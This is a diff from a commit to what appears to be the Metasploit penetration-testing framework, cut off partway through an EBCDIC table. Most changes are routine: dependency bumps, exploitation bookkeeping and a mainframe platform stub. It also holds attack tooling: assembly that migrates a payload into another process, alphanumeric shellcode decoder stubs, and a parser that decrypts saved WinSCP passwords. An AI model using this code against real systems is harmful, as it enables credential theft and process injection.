commit
568b33c67f
|
@ -16,7 +16,7 @@ PATH
|
|||
packetfu (= 1.1.11)
|
||||
railties
|
||||
rb-readline-r7
|
||||
recog (= 2.0.6)
|
||||
recog (= 2.0.14)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
|
@ -25,7 +25,7 @@ PATH
|
|||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-framework (= 4.11.4)
|
||||
metasploit_data_models (= 1.2.5)
|
||||
metasploit_data_models (= 1.2.7)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.4)
|
||||
metasploit-framework (= 4.11.4)
|
||||
|
@ -126,7 +126,7 @@ GEM
|
|||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.15)
|
||||
metasploit_data_models (1.2.5)
|
||||
metasploit_data_models (1.2.7)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
|
@ -178,7 +178,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.6)
|
||||
recog (2.0.14)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
|
|
|
@ -86,7 +86,7 @@ module Auxiliary::UDPScanner
|
|||
p.recalc
|
||||
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
|
||||
1.upto(num_packets) do |x|
|
||||
capture_sendto(p, ip)
|
||||
break unless capture_sendto(p, ip)
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
|
|
|
@ -153,6 +153,8 @@ module Msf::DBManager::ExploitAttempt
|
|||
attempt_info[:vuln_id] = vuln.id
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
|
||||
create_match_result_for_vuln(vuln,opts)
|
||||
|
||||
# Correct the vuln's associated service if necessary
|
||||
if svc and vuln.service_id.nil?
|
||||
vuln.service = svc
|
||||
|
@ -176,4 +178,59 @@ module Msf::DBManager::ExploitAttempt
|
|||
}
|
||||
|
||||
end
|
||||
|
||||
# Create a MetasploitDataModels::AutomaticExploitation::Match result for the given vuln
|
||||
# @option opts [Integer] :run_id
|
||||
# @return [void]
|
||||
def create_match_result_for_vuln(vuln, opts)
|
||||
run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last
|
||||
|
||||
if run.present?
|
||||
match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last
|
||||
|
||||
# If no match found in the current run
|
||||
unless match.present?
|
||||
# Create match if the vuln has the data we need to create a match
|
||||
match = create_match_for_vuln(vuln,opts.merge(run:run))
|
||||
end
|
||||
|
||||
create_match_result(opts.merge(match:match,run:run)) if match.present?
|
||||
end
|
||||
end
|
||||
|
||||
# Create a MetasploitDataModels::AutomaticExploitation::Match result with a success or failure state
|
||||
# @option opts [MetasploitDataModels::AutomaticExploitation::Match] :match
|
||||
# @option opts [MetasploitDataModels::AutomaticExploitation::Run] :run
|
||||
# @return [void]
|
||||
def create_match_result(opts)
|
||||
if opts[:session_id]
|
||||
state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
|
||||
else
|
||||
state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
|
||||
end
|
||||
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: opts[:match],
|
||||
run: opts[:run],
|
||||
state: state
|
||||
)
|
||||
end
|
||||
|
||||
# Create a MetasploitDataModels::AutomaticExploitation::Match for the given vuln
|
||||
# @option vuln [Mdm::Vuln] :vuln
|
||||
# @option opts [Mdm::Workspace] :workspace
|
||||
# @option opts [String] :username
|
||||
# @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run]
|
||||
def create_match_for_vuln(vuln,opts)
|
||||
wspace = opts[:workspace] || workspace
|
||||
run = opts[:run]
|
||||
module_fullname = opts[:module]
|
||||
|
||||
run.match_set.create_match_for_vuln(
|
||||
vuln,
|
||||
workspace: wspace,
|
||||
module_fullname: module_fullname
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -91,18 +91,10 @@ module Msf::DBManager::Session
|
|||
|
||||
wspace = s.workspace
|
||||
|
||||
if session
|
||||
if session.exploit.user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
|
||||
)
|
||||
infer_vuln_from_session(session, wspace)
|
||||
elsif session.via_exploit
|
||||
# This is a live session, we know the host is vulnerable to something.
|
||||
infer_vuln_from_session(session, wspace)
|
||||
end
|
||||
|
||||
if session and session.via_exploit
|
||||
# This is a live session, we know the host is vulnerable to something.
|
||||
infer_vuln_from_session(session, wspace)
|
||||
end
|
||||
|
||||
s
|
||||
|
@ -158,6 +150,7 @@ module Msf::DBManager::Session
|
|||
username: session.username,
|
||||
vuln: vuln,
|
||||
workspace: wspace,
|
||||
run_id: session.exploit.user_data.try(:[], :run_id)
|
||||
}
|
||||
|
||||
framework.db.report_exploit_success(attempt_info)
|
||||
|
|
|
@ -1270,7 +1270,8 @@ class Exploit < Msf::Module
|
|||
:fail_detail => self.fail_detail,
|
||||
:target_name => self.target.name,
|
||||
:username => self.owner,
|
||||
:refs => self.references
|
||||
:refs => self.references,
|
||||
:run_id => self.datastore['RUN_ID']
|
||||
}
|
||||
|
||||
if self.datastore['RHOST'] and self.options['RHOST']
|
||||
|
@ -1284,15 +1285,6 @@ class Exploit < Msf::Module
|
|||
end
|
||||
end
|
||||
|
||||
if user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: user_data[:match],
|
||||
run: user_data[:run],
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
framework.db.report_exploit_failure(info)
|
||||
end
|
||||
|
||||
|
|
|
@ -232,17 +232,24 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
||||
# out).
|
||||
# Sends a payload to a given target using the pcap capture interface
|
||||
#
|
||||
# == Parameters:
|
||||
# payload:: The payload String to send
|
||||
# dhost:: the destination host to send to
|
||||
# bcast:: set to `true` to send to the broadcast address if necessary
|
||||
# dev:: the name of the network interface to send the payload on
|
||||
#
|
||||
# == Returns:
|
||||
# The number of bytes sent iff the payload was successfully sent/injected. `false` otherwise
|
||||
def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture
|
||||
raise RuntimeError, "Must specify a host to sendto" unless dhost
|
||||
dev ||= datastore['INTERFACE']
|
||||
dst_mac, src_mac = lookup_eth(dhost, dev)
|
||||
if dst_mac == nil and not bcast
|
||||
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
|
||||
vprint_error("Unable to determine the destination MAC for #{dhost} on #{dev} and bcast is false")
|
||||
return false
|
||||
end
|
||||
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
||||
end
|
||||
|
|
|
@ -210,6 +210,7 @@ protected
|
|||
# Wait for session, but don't wait long.
|
||||
delay = 0.01
|
||||
end
|
||||
|
||||
exploit.handle_exception e
|
||||
end
|
||||
|
||||
|
|
|
@ -59,10 +59,6 @@ class Module
|
|||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||
|
||||
# The set of keys in {#user_data} that make {#user_data_is_match?} return
|
||||
# true
|
||||
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
|
||||
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
|
@ -295,13 +291,6 @@ class Module
|
|||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
end
|
||||
|
||||
# Whether {#user_data} contains everything necessary to make a
|
||||
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
|
||||
#
|
||||
# @return [bool]
|
||||
def user_data_is_match?
|
||||
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -347,7 +336,6 @@ class Module
|
|||
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
||||
# from.
|
||||
#
|
||||
# @see #user_data_is_match?
|
||||
attr_accessor :user_data
|
||||
|
||||
protected
|
||||
|
|
|
@ -524,4 +524,12 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "firefox"
|
||||
end
|
||||
|
||||
#
|
||||
# Mainframe
|
||||
#
|
||||
class Mainframe < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "mainframe"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -30,6 +30,7 @@ class Payload < Msf::Module
|
|||
require 'msf/core/payload/java'
|
||||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/core/payload/firefox'
|
||||
require 'msf/core/payload/mainframe'
|
||||
|
||||
##
|
||||
#
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This class is here to implement advanced features for mainframe based
|
||||
# payloads. Mainframe payloads are expected to include this module if
|
||||
# they want to support these features.
|
||||
#
|
||||
###
|
||||
module Msf::Payload::Mainframe
|
||||
|
||||
#
|
||||
# Z notes
|
||||
# Z notes
|
||||
#
|
||||
def initialize(info = {})
|
||||
ret = super(info)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of compatible encoders based on mainframe architecture
|
||||
# most will not work because of the different architecture
|
||||
# an XOR-based encoder will be defined soon
|
||||
#
|
||||
def compatible_encoders
|
||||
encoders = super()
|
||||
encoders2 = ['/generic\/none/','none']
|
||||
|
||||
return encoders2
|
||||
end
|
||||
|
||||
end
|
|
@ -240,8 +240,19 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
; allocate memory in the process (VirtualAllocEx())
|
||||
; get handle
|
||||
push 0x40 ; RWX
|
||||
add bh,0x10 ; ebx = 0x1000
|
||||
add bh, 0x10 ; ebx = 0x1000
|
||||
push ebx ; MEM_COMMIT
|
||||
EOS
|
||||
|
||||
if buf.length > 4096
|
||||
# probably stageless, so we don't have shellcode size constraints,
|
||||
# and so we can just set ebx to the size of the payload
|
||||
migrate_asm << <<-EOS
|
||||
mov ebx, #{payloadsize} ; stageless size
|
||||
EOS
|
||||
end
|
||||
|
||||
migrate_asm << <<-EOS
|
||||
push ebx ; size
|
||||
xor ebx,ebx
|
||||
push ebx ; address
|
||||
|
@ -445,10 +456,11 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
call rbp ; GetStartupInfoA( &si );
|
||||
|
||||
jmp getcommand
|
||||
gotcommand:
|
||||
gotcommand:
|
||||
pop rsi ; rsi = address of process name (command line)
|
||||
|
||||
; create the process
|
||||
push 0 ; keep the stack aligned
|
||||
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
|
||||
push rdi ; lpProcessInformation : write processinfo here
|
||||
lea rcx,[rsp+0x58]
|
||||
|
@ -474,7 +486,22 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
; get handle
|
||||
push 0x40 ; RWX
|
||||
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
||||
EOS
|
||||
|
||||
if buf.length > 4096
|
||||
# probably stageless, so we don't have shellcode size constraints,
|
||||
# and so we can just set r8 to the size of the payload
|
||||
migrate_asm << <<-EOS
|
||||
mov r8, #{payloadsize} ; stageless size
|
||||
EOS
|
||||
else
|
||||
# otherwise we'll juse reuse r9 (4096) for size
|
||||
migrate_asm << <<-EOS
|
||||
mov r8,r9 ; size
|
||||
EOS
|
||||
end
|
||||
|
||||
migrate_asm << <<-EOS
|
||||
xor rdx,rdx ; address
|
||||
mov rcx, [rdi] ; handle
|
||||
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||
|
|
|
@ -1777,7 +1777,7 @@ class Db
|
|||
case arg
|
||||
when '-h','--help'
|
||||
print_line "Usage:"
|
||||
print_line " db_export -f <format> [-a] [filename]"
|
||||
print_line " db_export -f <format> [filename]"
|
||||
print_line " Format can be one of: #{export_formats.join(", ")}"
|
||||
when '-f','--format'
|
||||
format = args.shift.to_s.downcase
|
||||
|
|
|
@ -18,6 +18,7 @@ module Arch
|
|||
#
|
||||
require 'rex/arch/x86'
|
||||
require 'rex/arch/sparc'
|
||||
require 'rex/arch/zarch'
|
||||
|
||||
#
|
||||
# This routine adjusts the stack pointer for a given architecture.
|
||||
|
@ -64,6 +65,8 @@ module Arch
|
|||
[addr].pack('V')
|
||||
when ARCH_ARMBE
|
||||
[addr].pack('N')
|
||||
when ARCH_ZARCH
|
||||
[addr].pack('Q>')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -95,6 +98,8 @@ module Arch
|
|||
return ENDIAN_LITTLE
|
||||
when ARCH_ARMBE
|
||||
return ENDIAN_BIG
|
||||
when ARCH_ZARCH
|
||||
return ENDIAN_BIG
|
||||
end
|
||||
|
||||
return ENDIAN_LITTLE
|
||||
|
|
|
@ -421,8 +421,7 @@ module X86
|
|||
# This method returns an array containing a geteip stub, a register, and an offset
|
||||
# This method will return nil if the getip generation fails
|
||||
#
|
||||
def self.geteip_fpu(badchars)
|
||||
|
||||
def self.geteip_fpu(badchars, modified_registers = [])
|
||||
#
|
||||
# Default badchars to an empty string
|
||||
#
|
||||
|
@ -470,18 +469,29 @@ module X86
|
|||
#
|
||||
while(dsts.length > 0)
|
||||
buf = ''
|
||||
mod_registers = [ESP]
|
||||
dst = dsts[ rand(dsts.length) ]
|
||||
dsts.delete(dst)
|
||||
|
||||
# If the register is not ESP, copy ESP
|
||||
if (dst != ESP)
|
||||
next if badchars.index( (0x70 + dst).chr )
|
||||
mod_registers.push(dst)
|
||||
if badchars.index( (0x70 + dst).chr )
|
||||
mod_registers.pop(dst)
|
||||
next
|
||||
end
|
||||
|
||||
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
|
||||
buf << "\x89" + (0xE0 + dst).chr
|
||||
else
|
||||
next if badchars.index("\x54")
|
||||
next if badchars.index( (0x58+dst).chr )
|
||||
if badchars.index("\x54")
|
||||
mod_registers.pop(dst)
|
||||
next
|
||||
end
|
||||
if badchars.index( (0x58+dst).chr )
|
||||
mod_registers.pop(dst)
|
||||
next
|
||||
end
|
||||
buf << "\x54" + (0x58 + dst).chr
|
||||
end
|
||||
end
|
||||
|
@ -506,6 +516,7 @@ module X86
|
|||
regs.delete(reg)
|
||||
next if reg == ESP
|
||||
next if badchars.index( (0x58 + reg).chr )
|
||||
mod_registers.push(reg)
|
||||
|
||||
# Pop the value back out
|
||||
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
||||
|
@ -513,8 +524,11 @@ module X86
|
|||
# Fix the value to point to self
|
||||
gap = out.length - buf.length
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
return [out, REG_NAMES32[reg].upcase, gap]
|
||||
end
|
||||
mod_registers.pop(dst)
|
||||
end
|
||||
|
||||
return nil
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Arch
|
||||
|
||||
#
|
||||
# base module for ZARCH creation 8/13/15
|
||||
# Author: BeS Bigendian Smalls
|
||||
#
|
||||
|
||||
module ZARCH
|
||||
|
||||
|
||||
end
|
||||
|
||||
end end
|
||||
|
|
@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
|
|||
ARCH_PYTHON = 'python'
|
||||
ARCH_NODEJS = 'nodejs'
|
||||
ARCH_FIREFOX = 'firefox'
|
||||
ARCH_ZARCH = 'zarch'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_X86,
|
||||
|
@ -110,7 +111,8 @@ ARCH_TYPES =
|
|||
ARCH_DALVIK,
|
||||
ARCH_PYTHON,
|
||||
ARCH_NODEJS,
|
||||
ARCH_FIREFOX
|
||||
ARCH_FIREFOX,
|
||||
ARCH_ZARCH,
|
||||
]
|
||||
|
||||
ARCH_ALL = ARCH_TYPES
|
||||
|
|
|
@ -8,22 +8,49 @@ module Alpha2
|
|||
|
||||
class AlphaMixed < Generic
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 32)
|
||||
raise "Critical: Offset is greater than 32"
|
||||
# Generates the decoder stub prefix
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha mixed decoder stub prefix
|
||||
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||
if offset > 32
|
||||
raise 'Critical: Offset is greater than 32'
|
||||
end
|
||||
|
||||
mod_registers = []
|
||||
nop_regs = []
|
||||
mod_regs = []
|
||||
edx_regs = []
|
||||
|
||||
# use inc ebx as a nop here so we still pad correctly
|
||||
if (offset <= 16)
|
||||
if offset <= 16
|
||||
nop = 'C' * offset
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'J' * (17 - offset)
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
else
|
||||
mod = 'A' * (offset - 16)
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||
|
||||
nop = 'C' * (16 - mod.length)
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod << nop + '7QZ'
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'B' * (17 - (offset - 16))
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
end
|
||||
|
||||
regprefix = {
|
||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||
'ECX' => 'I' + mod, # dec ecx
|
||||
|
@ -36,15 +63,38 @@ class AlphaMixed < Generic
|
|||
}
|
||||
|
||||
reg.upcase!
|
||||
if (not regprefix.keys.include? reg)
|
||||
raise ArgumentError.new("Invalid register name")
|
||||
|
||||
unless regprefix.keys.include?(reg)
|
||||
raise ArgumentError.new('Invalid register name')
|
||||
end
|
||||
|
||||
case reg
|
||||
when 'EDX'
|
||||
mod_registers.concat(edx_regs)
|
||||
mod_registers.concat(nop_regs)
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
else
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
mod_registers.concat(mod_regs)
|
||||
end
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return regprefix[reg]
|
||||
end
|
||||
|
||||
def self.gen_decoder(reg, offset)
|
||||
# Generates the decoder stub
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha mixed decoder stub
|
||||
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||
mod_registers = []
|
||||
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset) +
|
||||
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||
"jA" + # push 0x41
|
||||
"X" + # pop eax
|
||||
"P" + # push eax
|
||||
|
@ -62,7 +112,18 @@ class AlphaMixed < Generic
|
|||
"uJ" + # jnz short -------------------------
|
||||
"I" # first encoded char, fixes the above J
|
||||
|
||||
return decoder
|
||||
mod_registers.concat(
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EAX,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EDX
|
||||
])
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
decoder
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
|
|
@ -9,21 +9,47 @@ module Alpha2
|
|||
class AlphaUpper < Generic
|
||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 20)
|
||||
raise "Critical: Offset is greater than 20"
|
||||
# Generates the decoder stub prefix
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha upper decoder stub prefix
|
||||
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||
if offset > 20
|
||||
raise 'Critical: Offset is greater than 20'
|
||||
end
|
||||
|
||||
mod_registers = []
|
||||
nop_regs = []
|
||||
mod_regs = []
|
||||
edx_regs = []
|
||||
|
||||
# use inc ebx as a nop here so we still pad correctly
|
||||
if (offset <= 10)
|
||||
nop = 'C' * offset
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'J' * (11 - offset)
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
else
|
||||
mod = 'A' * (offset - 10)
|
||||
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||
|
||||
nop = 'C' * (10 - mod.length)
|
||||
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||
|
||||
mod << nop + 'QZ'
|
||||
mod_regs.concat(nop_regs)
|
||||
mod_regs.push(Rex::Arch::X86::EDX)
|
||||
|
||||
edxmod = 'B' * (11 - (offset - 10))
|
||||
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||
end
|
||||
regprefix = {
|
||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||
|
@ -33,20 +59,41 @@ class AlphaUpper < Generic
|
|||
'ESP' => 'TY' + mod, # push esp, pop ecx
|
||||
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
||||
'ESI' => 'VY' + mod, # push esi, pop ecx
|
||||
'EDI' => 'WY' + mod, # push edi, pop edi
|
||||
'EDI' => 'WY' + mod, # push edi, pop ecx
|
||||
}
|
||||
|
||||
reg.upcase!
|
||||
if (not regprefix.keys.include? reg)
|
||||
unless regprefix.keys.include?(reg)
|
||||
raise ArgumentError.new("Invalid register name")
|
||||
end
|
||||
return regprefix[reg]
|
||||
|
||||
case reg
|
||||
when 'EDX'
|
||||
mod_registers.concat(edx_regs)
|
||||
mod_registers.concat(nop_regs)
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
else
|
||||
mod_registers.push(Rex::Arch::X86::ECX)
|
||||
mod_registers.concat(mod_regs)
|
||||
end
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return regprefix[reg]
|
||||
end
|
||||
|
||||
def self.gen_decoder(reg, offset)
|
||||
# Generates the decoder stub
|
||||
#
|
||||
# @param [String] reg the register pointing to the encoded payload
|
||||
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||
# @return [String] the alpha upper decoder stub
|
||||
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||
mod_registers = []
|
||||
|
||||
decoder =
|
||||
gen_decoder_prefix(reg, offset) +
|
||||
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||
"V" + # push esi
|
||||
"T" + # push esp
|
||||
"X" + # pop eax
|
||||
|
@ -73,6 +120,18 @@ class AlphaUpper < Generic
|
|||
"JJ" + # jnz * --------------------
|
||||
"I" # first encoded char, fixes the above J
|
||||
|
||||
mod_registers.concat(
|
||||
[
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::EAX,
|
||||
Rex::Arch::X86::ESI,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EDX
|
||||
])
|
||||
|
||||
mod_registers.uniq!
|
||||
modified_registers.concat(mod_registers)
|
||||
|
||||
return decoder
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
require 'rex/parser/ini'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
module WinSCP
|
||||
PWDALG_SIMPLE_MAGIC = 0xA3
|
||||
PWDALG_SIMPLE_FLAG = 0xFF
|
||||
|
||||
def read_and_parse_ini(filename)
|
||||
file = File.read(filename)
|
||||
return if file.to_s.empty?
|
||||
parse_ini(file)
|
||||
end
|
||||
|
||||
def parse_protocol(fsprotocol)
|
||||
return 'Unknown' if fsprotocol.nil?
|
||||
|
||||
case fsprotocol
|
||||
when 5 then 'FTP'
|
||||
when 0 then 'SSH'
|
||||
else
|
||||
'Unknown'
|
||||
end
|
||||
end
|
||||
|
||||
def parse_ini(file)
|
||||
results = []
|
||||
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
|
||||
|
||||
ini = Rex::Parser::Ini.from_s(file)
|
||||
|
||||
if ini['Configuration\\Security']
|
||||
# if a Master Password is in use we give up
|
||||
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
|
||||
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
|
||||
end
|
||||
end
|
||||
|
||||
# Runs through each group in the ini file looking for all of the Sessions
|
||||
ini.each_key do |group|
|
||||
if group.include?('Sessions') && ini[group].has_key?('Password')
|
||||
# Decrypt our password, and report on results
|
||||
encrypted_password = ini[group]['Password']
|
||||
user = ini[group]['UserName']
|
||||
host = ini[group]['HostName']
|
||||
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
|
||||
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||
|
||||
results << {
|
||||
hostname: host,
|
||||
password: plaintext,
|
||||
portnumber: ini[group]['PortNumber'] || 22,
|
||||
username: user,
|
||||
protocol: sname
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
# Decrypts the next character in the password sequence
|
||||
def decrypt_next_char(pwd)
|
||||
if pwd.nil? || pwd.length <= 0
|
||||
return 0, pwd
|
||||
end
|
||||
|
||||
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
|
||||
a = pwd[0].hex << 4
|
||||
|
||||
# Takes the second char from the encrypted password
|
||||
b = pwd[1].hex
|
||||
|
||||
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
|
||||
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
|
||||
|
||||
# Strips the first two chars off and returns our result
|
||||
return result, pwd[2..-1]
|
||||
end
|
||||
|
||||
def decrypt_password(pwd, key)
|
||||
flag, pwd = decrypt_next_char(pwd)
|
||||
|
||||
if flag == PWDALG_SIMPLE_FLAG
|
||||
_, pwd = decrypt_next_char(pwd)
|
||||
length, pwd = decrypt_next_char(pwd)
|
||||
else
|
||||
length = flag
|
||||
end
|
||||
|
||||
del, pwd = decrypt_next_char(pwd)
|
||||
pwd = pwd[del*2..-1]
|
||||
|
||||
result = ""
|
||||
length.times do
|
||||
r, pwd = decrypt_next_char(pwd)
|
||||
result << r.chr
|
||||
end
|
||||
|
||||
if flag == PWDALG_SIMPLE_FLAG
|
||||
result = result[key.length..-1]
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
122
lib/rex/text.rb
122
lib/rex/text.rb
|
@ -45,6 +45,93 @@ module Text
|
|||
|
||||
DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ]
|
||||
|
||||
# The Iconv translation table for IBM's mainframe / System Z
|
||||
# (z/os, s390, mvs, etc) - This is a different implementation
|
||||
# of EBCDIC than the Iconv_EBCDIC below.
|
||||
# It is technically referred to as Code Page IBM1047.
|
||||
# This will be net new (until Ruby supports 1047 code page)
|
||||
# for all Mainframe / SystemZ based modules
|
||||
# that need to convert ASCII to EBCDIC
|
||||
#
|
||||
# The bytes are indexed by ASCII conversion number
|
||||
# e.g. Iconv_IBM1047[0x41] == \xc1 for letter "A"
|
||||
#
|
||||
# Note the characters CANNOT be assumed to be in any logical
|
||||
# order. Nor are the tables reversible. Lookups must be for each byte
|
||||
# https://gist.github.com/bigendiansmalls/b08483ecedff52cc8fa3
|
||||
#
|
||||
Iconv_IBM1047 = [
|
||||
"\x00","\x01","\x02","\x03","\x37","\x2d","\x2e","\x2f",
|
||||
"\x16","\x05","\x15","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
|
||||
